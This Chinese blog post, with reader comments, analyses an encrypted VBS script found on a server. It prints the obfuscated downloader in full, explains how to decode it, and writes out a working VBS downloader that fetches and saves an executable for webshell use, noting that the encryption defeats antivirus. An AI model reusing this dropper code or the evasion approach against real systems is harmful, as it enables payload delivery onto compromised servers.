VBS代码加密解密
今天无意中在公司服务器系统盘根目录下发现了一个可疑的vbs脚本。打开看看发现vbs代码是加密的,这更加证明这个脚本的可疑。
我对vbs代码只能算是了解,能看懂,但是编却编不出来。为了解密这个vbs代码,用搜索引擎搜索了半天,找到好多相关的资料,发现原来vbs如此强大。以这篇文章收集vbs代码供以后学习。
简单介绍一下什么是vbs。VBScript是Visual Basic Script的简称,有时也被缩写为VBS。VBScript是微软开发的一种脚本语言,可以看作是VB语言的简化版,与VBA的关系也非常密切。
它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。用于调试简单的VB语句非常方便。
下面是我发现的可疑代码
Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,48,41,41,13,10,83,101,116,32,120,80,111,115,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,116,101,44,48,13,10,120,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,101,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,101,116,46,77,111,100,101,61,51,13,10,101,116,46,84,121,112,101,61,49,13,10,101,116,46,79,112,101,110,40,41,13,10,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,101,116,46,83,97,118,101,84,111,70,105,108,101,32,97,108,44,50) Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str & Chr(Str(I)):Next:End Function Execute Num2Str(Str)
看到这段代码让我想起前几天解密了一个wordpress主题文件。从加密的结构上看差不多,前面是加密的字符串,后面跟着加密的算法,虽然语言不同,但是可以用类似的方法去解决。在网上搜索相关的vbs语法后直接用 msgbox替换掉 Execute并运行,未加密的vbs代码直接弹了出来
解密出来的代码原来是webshell提权用的vbs脚本,作用就是可以下载任意文件到网站的服务器上。加密是为了躲过杀毒软件的查杀。
说到webshell执行vbs脚本下载文件,其实有好多方法,举个例子(可能被有些杀毒软件当成病毒):
url = "http://127.0.0.1/test.exe" '网络上的文件地址或者程序
saveas = "x.exe" '保存成的本地文件或者名字(自定义)
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1 '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing
dim a '定义a变量
set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序上面那个可疑脚本的加密方式可以很好的躲过杀毒软件,在网上找到个类似的vbs脚本加密软件,加密出来的效果跟那个加密代码差不多。vbs脚本加密器下载 vbs脚本编辑器(vbs转换成exe)下载
VBS代码收集
唉!代码太多了,另起一篇吧!



访问这个页面的时候,360都报毒
[回复]
dev 回复:
二月 6th, 2010 at 9:14 下午
这个vbs是个下载者 难免会报
[回复]
不懂 VBS 的静静飘过~~
[回复]
哪里有代码,哪里有隐患。
[回复]
杀毒软件对这玩意儿都抓狂 呵呵
[回复]
VBS比我料想的强大很多,毕竟是M$自家的东西;有时代码加密看不到的时候会让人抓狂。
[回复]